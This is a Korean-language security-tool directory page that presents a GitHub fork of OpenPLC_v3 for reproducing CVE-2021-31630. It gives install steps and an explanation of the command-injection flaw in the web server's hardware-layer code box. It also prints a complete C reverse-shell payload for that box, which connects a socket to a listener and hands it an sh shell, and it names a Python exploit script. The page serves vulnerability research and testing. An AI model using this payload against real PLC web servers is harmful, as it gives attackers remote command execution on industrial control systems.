Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
OpenPLC_v3 — CVE-2021-31630을 재현하려면 | Kitploit
도구/GitHubGitHub/tranquac/openplc_v3
Vulnerability AnalysisCode AnalysisExploitationSCADA/ICS SecurityWeb Application ExploitationCommand and Control
GitHubtranquac/openplc_v3

OpenPLC_v3

CVE-2021-31630을 재현하려면

저장소 보기
9개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

OpenPLC Runtime version 3

소개

Build Status Build status

OpenPLC는 사용하기 쉬운 소프트웨어 기반 오픈소스 프로그래머블 로직 컨트롤러입니다. 우리의 초점은 자동화와 연구를 위한 저비용 산업용 솔루션을 제공하는 것입니다. OpenPLC는 전체 소스 코드를 제공하는 유일한 컨트롤러이기 때문에 산업 사이버보안 연구를 위한 프레임워크로서 많은 연구 논문에서 사용되어 왔습니다. OpenPLC 프로젝트는 세 가지 하위 프로젝트로 구성됩니다:

  1. Runtime
  2. Programming editor
  3. HMI builder

설치

root@kitploit:~
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]

[platform]은 다음 중 하나일 수 있습니다:

win - Windows(Cygwin)에 OpenPLC 설치

linux - Debian 기반 Linux 배포판에 OpenPLC 설치

docker - Dockerfile에서 사용됨 (즉, sudo를 호출하지 않음)

rpi - Raspberry Pi에 OpenPLC 설치

custom - 모든 특정 패키지 설치를 건너뛰고 시스템에 이미 모든 종속성이 충족되어 있다고 가정한 채 OpenPLC를 설치하려고 시도합니다. 이 옵션은 지원되지 않는 Linux 플랫폼에 OpenPLC를 설치하려고 하거나 모든 종속성 패키지를 수동으로 설치한 경우 유용할 수 있습니다.

CVE-2021-31630

CVE-2021-31630은 OpenPLC(커뮤니티에서 널리 사용되는 v3 버전)의 WebServer에서 발생하는 code/command injection 유형의 취약점입니다. 결함은 /hardware(Hardware Layer Code Box) 인터페이스에서 코드를 로드/편집할 수 있는 기능에 있으며, 입력 데이터가 서버 계층에서 처리되기 전에 충분히 필터링/새니타이즈되지 않아 웹서버 프로세스 권한으로 코드를 실행할 수 있게 됩니다. 이 취약점은 2021년에 공개되었으며 공개 취약점 데이터베이스에서 심각도가 높은 것으로 평가됩니다.

기술적 설명(방어 가능한 수준): 웹 인터페이스는 사용자가 입력한 "hardware layer code" 조각을 허용합니다. 이 데이터 조각은 이후 특수 문자 검사, 필터링 또는 엄격한 제약 없이 컴파일/정규화하거나 명령 컨텍스트에 포함시킬 수 있는 서버 구성 요소에 의해 처리됩니다. 특정 조건(예: 데이터가 시스템 명령 문자열에 연결되거나 코드 처리 함수로 직접 전달되는 경우)에서 공격자는 실행 흐름을 변경하는 제어 조각을 삽입할 수 있습니다.

root@kitploit:~
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer(){}

void updateCustomIn(){}

void updateCustomOut()
{
    int port = 1111;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;       
}

공격 코드: cve-2021-31630.py

도구 다운로드